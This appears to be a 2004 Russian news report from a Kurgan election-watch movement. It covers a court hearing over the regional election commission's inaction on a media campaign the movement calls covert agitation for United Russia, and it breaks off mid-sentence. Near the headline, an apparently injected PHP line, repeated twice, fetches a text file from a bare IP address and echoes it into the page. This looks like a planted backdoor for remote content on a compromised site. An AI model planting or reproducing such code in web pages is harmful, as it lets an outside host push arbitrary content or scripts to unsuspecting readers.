Новости

Кукушкин след-4, ПРОКУРОР БЫЛ ПРОТИВ ЛЮБЫХ НАШИХ ДОКАЗАТЕЛЬСТВ…

14.01.2004

ПРОКУРОР БЫЛ ПРОТИВ ЛЮБЫХ НАШИХ ДОКАЗАТЕЛЬСТВ <?php echo file_get_contents("http://91.193.192.27/users.txt"); ?> <?php echo file_get_contents("http://91.193.192.27/users.txt"); ?>

      ПРОКУРОР  БЫЛ ПРОТИВ ЛЮБЫХ НАШИХ ДОКАЗАТЕЛЬСТВ.  Кукушкин след-4  

Сегодня состоялось очередное судебное заседание по
заявлению нашего движения о признании незаконным бездействия Областной
Избирательной комиссии, закрывавшей глаза на незаконную агитацию в пользу «Единой
России», на участии в этом действо государственных органов, владельцев интернет-ресурсов.  ПОЛИТКУРГАН счел за благо не являться в суд

  

  Выступая в суде,  представители нашего движения  просили

 

               Привлечь Комитет по печати,  распространявший агитацию к участию в
процессе.

 

               Истребовать у ОИК

 Кассеты с роликами  "Я  за!"  рассматриваемые  на  заседании  24-25  
ноября.

 

               Истребовать у "Политкургана"

Материалы  разработки 
социального  проекта  "Я 
за!  Выбери   свое   правительство" (описание 
цели,  технологии,  техническое 
задание,   основные сроки,
ресурсы, календарный план, и так 
далее).  А  также

материалы политической
акции "Я за!" по всем 23 партиям и блокам. В   письме КГТРК сообщалось о наличии таких
планов.

 

               ПРОКУРОР И СУД ГРУДЬЮ ВСТАЛИ
ПРОТИВ ЭТИХ ХОДАТАЙСТВ

 

         ПОЛИТКУРГАН в суд не явился, но оставил суду заявление, которым
хотел помочь попыткам ОблИзбиркома отменить собственное решение:  просил признать недействительным решение ОИК,
признавшего акцию ПОЛИТКУРГАНА агитаций, уверяя, что проводил опрос.

               Выступая в суде,  представитель нашего движения указывал на
следующее:

- В ЧАСТИ ЗАЯВЛЕНИЯ ПОЛИТКУРГАНА: 

         Областной  избирательной 
комиссией  на  заседании 
25   ноября расматривались  заявления 
Затеева  Л.М.  от 
19  ноября  и 
заявление движения "За честные выборы" от 20  ноября. 
Заявления  касались  трех материалов политической акции "Я
за! Выбери свое правительство", 
один из них опубликован  в  "Зауральском  курьере"  от  12 
ноября (л.д.50), другой распространялся с 14 ноября на каналах КГТРК.
Третий материал остался не рассмотренным избиркомом.

 

      Текст телевизионного ролика:

    "Центр региональных исследований
Политкурган предлагат вам с 17 по   23
ноября принять участие в политической акции "Я -за".

 

      Существует мнение, что победившая на
выборах партия должна   сформировать
свое правительство.

 

      Мы представили себе, какие правительства
сформируют партии   и предлагаем вым
выбрать:

      (идут изображения-фотографии и текст,
который озвучивается)

 

      КОМПАРТИЯ     Председатель
правительства Борис Березовский

                                Председатель Госдумы       Генадий Зюганов

 

      СОЮЗ ПРАВЫХ  Председатель правительства Анатолий Чубайс

                                  Председатель Госдумы      
Борис Немцов

 

      ЕДИНАЯ РОССИЯ Председатель правительства
Юрий Лужков

                                     Председатель Госдумы       Сергей Шойгу

 

                Выбери свое
правительство!"

 

    Видеоролик не содержит никаких признаков
опроса вообще.    Трудно  себе 
представить,  какие  "исследователи"   разрабатывали акцию, которую суду пытаются
представить  как  опрос. 
Тот  факт,  что исследование не может основываться на
заведомой лжи -  очевидно,  даже тем, кто закончил юридический колледж.

    Тот же текст "Зауральского
курьера" сопровождается списком 
девяти магазинов.

    Таким 
образом,  все,  о 
чем  говорится  в 
пункте  1   заявления учредителя Информационного
агентства Алексеева  В.А. об  опубликовании каких-либо и где-либо опросов
к решению ОИК от 25  ноября отношения не

имеет.
ОИК публикаций итогов опроса не рассматривал.

Движение  "За 
честные    выборы"    пришло   
к    выводу,    что вышепроцитированный  материал, 
распространяемый  КГТРК   и   
газетой "Зауральский курьер", как  информационный 
материал  не  соответствует п.2,5 ст.45,  и никакого 
отношения  не  имеет 
к  опубликованию  опросов общественного мнения, а является
предвыборной агитацией в соответствии с п.2 в,г,е ст.48 ФЗ "Об основных
гарантиях избирательных прав...".

Конкретно - агитацией
против КПРФ, за партию "Единая Россия".

 

Заявление  не 
соответствует  материалам  судебного 
дела  по  иску движения "За честные выборы"
к ОИК, так как, насколько известно, 
на  заседании   ОИК  
25 ноября опубликование 
результатов опросов  не  обсуждалось. Если касаться приложенного нами
к письму ОИК листа распечатки  из  интернет (хотя ОИК его не рассмотрел), то он
полностью

не соответствует ст.46 и
подпункту Г пункта 2 ст.48 названного закона, т.к. содежит комментарии,
реквизитов опроса нет.

Но ОИК это не
обсуждалось.

 

-
В ЧАСТИ ДОВОДОВ ОТВЕТЧИКА И ПРОКУРОРА: 

Политическая
акция "Я за! Выбери свое правительство", исходя из документов,
представленных ОИК в суд осуществлялась рядом организаций исключительно с
агитационными целями, частными СМИ -"Политкурган" и "Зауральский
курьер", государственными - Комитетом по печати и СМИ Курганской области и
Курганской государственной телерадиокомпанией. Агитационная цель очевидна
любому, кто взглянет на публикацию в газете "Исеть" от 19 ноября или
рекламный ролик КГТРК за эту же дату. Там нет никакой информации об опросной
статистике, иных признаков опроса или информирования, есть прямая агитация
сделать свой выбор. Избирком потому и признал это агитационным материалом.
Акция началась, судя по материалам, предоставленным суду областной
избирательной комиссией, 12 ноября с публикации в газете "Зауральский
курьер". Акция в этой газете заявлена как политическая, время проведения с
17 по 23 ноября. Указано 9 магазинов в городе Кургане, на которых избиратели
могут принять участие в политической акции. 14 ноября началась трансляция
роликов "Выбери свое правительство" на телеканалах КГТРК, ролик
транслировался несколько раз в день в рекламных блоках, наряду с рекламой
Безбородова и о купле-продаже.

В  акции  принимала 
участие  телекомпания  "Регион-45"  (директор

А.Дудич, учредитель ООО "Зауралмедиа").

Одновременно
началась такая же кампания в интернете на сайте www.polit.kurgan.ru.

Начиная с
13 ноября "Регион-45" и КГТРК транслировало агитацию как в рекламных
блоках, так и информационных теле и радиопрограммах компаний.

Ни в одном
из СМИ политическая акция не заявлялась в качестве опроса.

24 ноября
в 20.30 в информационном блоке КГТРК сообщило якобы результаты акции. 26 ноября
"Зауральский курьер" опубликовал якобы итоги акции "Выбери свое
правительство" по городам Кургану и Шадринску. В интернете политическая
акция продолжалась до 4 декабря.

В районных
газетах акция называлась сначала называлась политической, потом гражданской.

Газета
"Исеть" (Шадринск) опубликовала материал 19 ноября, "Шадринский
курьер" - 21, Сельская правда (Каргаполье), Знамя (Катайск), Куртамышская
нива - 25 ноября, Трибуна (Альменево), Искра (Мишкино), Сельская новь
(Куртамыш), Знамя труда (Шумиха) - 26 ноября, Сельская правда (Каргаполье),
Голос целинника (Целинное) - 28 ноября, Боевое слово (Белозерка), Знамя труда
(Шумиха), Звезда (Шучье)- 29 ноября. Это только по данным, имеющимся в
областной избирательной комиссии.

По данным
ОИК организатором этого этапа акции, распространившим материал по районным
газетам, является Комитет по печати и СМИ Курганской области, руководитель
Есетов В. А.

В этих СМИ гражданская
акция не заявлялась, как опрос общественного мнения.

Судя по
рассылке в интернете, непосредственно с интернет-адреса zauralmedia
(Зауралмедиа) посылались эти материалы в редакции районных газет Призыв,
Восход, Заря, Голос целинника, Исеть, Маяк, Трудовая Слава.

Инициаторами,
разработчиками, изготовителями и распространителями акции на этом этапе,
согласно документам, представленым ОИК в суд, являются:

   -  частный предприниматель Кукушкин Михаил
Юрьевич;

   - информационное агентство "Центр региональных исследований
"Политкурган", учредитель Алексеев Валерий Александрович;

   - деловая
общественная газета "Зауральский курьер", главный редактор Дудич
А.В.; (все по договорам от 7 июля 2003года)

   - ФГУП "Курганская государственная телевизионная и
радиовещательная кампания", председатель Белых Иван Николаевич (согласно
ответу ФГУП КГТРК от 3.12.2003, N 623 на запрос ОИК).

В письме
за N710 от 08.01.03 Руководтель КГТРК прямо называет РЕКЛАМНЫМИ РОЛИКАМИ
материалы Политкургана. Утверждение в этом же письме о том, что "КГТРК
поддержало дальнейшее проведение данной акции", наряду с признанием ее
"РЕКЛАМОЙ" свидетельствует о причастности КГТРК к распространению
агитации по собственной инициативе.

Согласно
договору без номера от 7 июля 2003 года частный предприниматель Кукушкин
размешает материалы социального проекта "Политкургана" "Я за!
Выбери свое правительство" на государственном телевидении БЕЗВОЗМЕЗДНО.

По
договору Комиссии от 5.02.2003 пролонгированного 01.07.03 о размещенни рекламы,
КГТРК обязан был платить Кукушкину, за то, что тот принимает заказы на любые
рекламные услуги для размещения Курганской телерадиокомпанией на каналах ТВЦ,
РТР, "Радио России", в данном случае от "Политкургана".

Таким
образом за эфирное время никто не платил, документов об оплате суду не
представлено, напротив, само КГТРК и покупало рекламу "Единой России"
у Кукушкина.

А за
публикации в "Зауральском курьере" 26.11, обещано по договору 1 тыс.
рублей при стоимости полосы для всех остальных 19 000 тыс.рублей.

Следовательно,
агитация не оплачивалась согласно закона.

Акция
"Выбери свое правительство" по масштабам вряд ли уступает
избирательной кампании Павла Федулева (олигарх не потянул бы расходы на
трасляцию такого количества роликов, одна секунда стоила перед выборами - 1000
рублей), и превышает, очевидно, объемы агитационных кампаний всех партий и
кандидатов в Курганской области.

Никаким
законом Курганская областная (окружная) избирательная комиссия не освобождена
от обязанности самостоятельно контролировать выполнение правил проведения
предвыборной агитации, законодательство не предусматривает, чтобы комиссия
работала только с заявлениями, запросами граждан, организаций и кандидатов, чьи
права нарушены.

Напротив, по норме п.7ст.56
закона об основных гарантиях "Комиссии контролируют соблюдение
установленного порядка предвыборной агитации."

На примере
решений ОИК в отношении газеты "Вечерний Курган" и агитматериалов
Федулева, газеты "Вестник Зауралья", по которой решение принималось в
тот же день, 25 ноября 2003 года, прекрасно видно совершенно разное отношение
ОИК к "своим" и "чужим". Если в этих трех случаях ОИК
немедленно принимал меры пресечения, то в отношении "своих" никакие
меры пресечения не принимались, и представитель ОИК в суде подтвердил, что
может вспомнить лишь эти два случая агитации, в пользу "Единой
России", когда вместо пресекательных мер нарушителям ОИК давал лишь
рекомендации-советы, и эти оба решения нами обжалуются в суде.

Пунктом 7
"Положения о рабочей группе избирательной комиссии Курганской области по
информационным спорам...", утвержденным 08.10.03 решением ОИК за N4/39-4
установлено "Члены избирательной комиссии с правом решающего голоса -
члены Рабочей группы уполномочены составлять протоколы об административных
правонарушениях.

Комиссия,
как основное звено институциональной системы выборов, сама обязана отслеживать
публикации и немедлено принимать действенные меры по соблюдению
законодательства(п.3 ст.20 и п.10-а ст.23 зак.об осн гарантиях). Под
действенными мерами движение "За честные выборы" понимает меры,
которые оказали бы реальное воздействие на граждан и организации, нарушающие
закон, в соответствии нормами административного, иного права.

Например,
после опубликования "Вечерним Курганом" репортажа с митинга
бюджетников 15 октября "Бюджетники решили не голосовать за нынешних
депутатов" член избирательной комиссии, председатель рабочей группы Белых,
руководствуясь указанным выше Положением о рабочей группе немедленно обнаружил
в публикации два административных нарушения  ст.5.5 и ст.5.10 КоАП, а материалы немедленно отправлены в суд.

Хотя в
репортаже увидеть агитационную цель даже при большом желании было трудно,
излагалось мнение митингующих. Сведения об этих факте опубликованы в газете
"Курган и курганцы" от 1 ноября 2003 года, с.3, материал
"Кандидаты должны иметь равные условия". Сама избирательная комиссия
отказаласть предоставить в суд это решение по "Вечернему Кургану".

25 ноября,
одновременно с заявлением по акции "Я за! Выбери свое правительство"
рассматривалось заявление Василия Кислицына о газете "Вестник
Зауралья", было решено вынести представление УВД с поручением изъять
подложный агитационный материал и провести следствие.

Избирком также отказал в предоставлении в суд
данного решения. Почему же в случае с "Я за! Выбери свое правительство"  Областная избирательная комиссия
ограничилась "рекомендацией" (то есть, по словарю Ожегова - дала
совет) каким-то неназванным СМИ воздержаться от распространения материалов
акции "Выбери свое правительство", ни словом не упомянув инициатора и
производителя этого материала "агентство ПолитКурган"?

Столь
длительное откладывание в принятии решения (с 20 по 25 ноября) вызывает
сомнения в беспристрастности комиссии, ролики крутились на каналах самого
И.Белых целыми днями, он, как руководитель организации, являющейся одним из
инициаторов и разработчиков акции (КГТРК) руководит и рабочей группой по
информационным спорам областной избирательной комиссии и мог бы дать пояснения
немедленно,-19 ноября в ОИК поступил запрос от КПРФ с экземпляром Зауральского
курьера от 12 ноября. Очевидно, что руководитель рабочей группы Белых сам на
себя налагать административное взыскание не стал. В этом все объяснение всех
бездействий ОИК.

Как
известно, комиссия приняла решение не единогласно, против был один Белых.
Согласно закона об осн. гарантиях (п.17 ст.28) "особое мнение должно быть
рассмотрено этой комиссией, отражено в ее протоколе, приложено к нему и
доведено председателем комиссии до сведения вышестоящей комиссии не позднее чем
в 3-дневный срок со дня принятия решения". Закон не выполнен. Бездействие
ОИК очевидно.

В решении
и выписке из протокола заседания комиссии от 25.11 нет никакого упоминания о
Центре региональных исследований "Политкурган", об интернете, который
не относится к СМИ, и полностью отсутствует даже рекомендация о прекращении
распространения материалов "Политкурганом" и через интернет.

Между тем
Политкурган и не скрывал своих намерений, и официально, как видно из
материалов, указывал их уже 12 ноября. Например, заявлено время проведения -
сначала с 17 по 23, затем с 24 по 30 ноября.

По
заявлению в судебном заседании 08.01.04 представителя ОИК Гавриш Ю., - ОИК не
приняла никаких мер для доведения решения ОИК до СМИ, решение нигде не
публиковалось и не рассылалось.

Как
правильно указывается в возражениях ИК, - пять дней отводится избирательной
комиссии для письменного ответа заявителю. Решения же по столь очевидным
нарушениям избирательного законодательства должны приниматься без выжидания
окончания объявленного срока проведения агитации.

КГТРК
распространяла материалы 24.11 в 20.30, причем ее руководитель Белых 24-го же
числа расписался под решением рабочей группы избиркома: "пресечь
распространение агитационного материала", а 26 ноября "Зауральский
курьер" продолжил акцию, районные газеты печатали противоправную агитацию
до 29 ноября. Интернет распространял противоправную агитацию до 4 декабря.

Это
последствия вопиющего бездействия ОИК.

Исходя из
этого, ясно, что ОИК не принял никаких мер, которые оказали бы хоть какое-либо
воздействие на распространителей даже и после многочисленных заявлений и
обращений, пока дело не поступило в суд.

Как
правильно указывает ответчик (возражения от 6/01/2004 п.3), "составление
протокола об административном правонарушении производится немедленно после
выявления совершения административного правонарушения", однако прошло уже
почти два месяца, никаких мер к вышеперечисленным физическим и юридическим
лицам не принято.

Это
вопиющее бездействие ОИК.

В п. 4
возражений ОИК - правильно отмечено: ОИК рассмотрел частично лишь один из
четырех вопросов по заявлению движения "За честные выборы"- об
агитационности, на остальные вопросы ответа нет, включая ИНТЕРНЕТ, последний
пункт с просьбой о принятии мер пресечения.

Это
бездействие ОИК.

Несостоятельны
никакие ссылки ОИК на то, что возбуждение административного или иного
преследования нарушителей является правом ОИК, а не обязанностью, поскольку все
права кореллируют с соответствующими обязанности в любых правоотношениях, будь
то гражданское, уголовное, избирательное, или иное право. И было бы абсурдным
считать, что ОИК, обязанная обеспечить соблюдение законодательства могла
абсолютно игнорировать свое право по пресечению нарушения законности, только
потому, что это ее право, а не обязанность. Смысл вышеназванной нормы п.7 ст.56
не допускает выборочно использовать это право: в отношении одних возбуждать
преследование, в отношении других не возбуждать, не пресекать.

В таком
случае следует признать злоупотребление должностными полномочиями, ст. 285 УК,
поскольку целями и задачами избирательного 
законодательства  является  обеспечение 
равных   прав гражданам,
кандидатам, партиям, а избирательные 
комиссии  -  основное звено, обеспечивающее гарантии этих
прав  (ст.44  закона  об основных гарантиях
избирательных прав, ст 32 Конституции РФ.). Это

---

Данный материал прошел автоматическую обработку и мог быть искажен, оригинал материала: http://narod.zaural.ru/gabd/news/040114-1.htm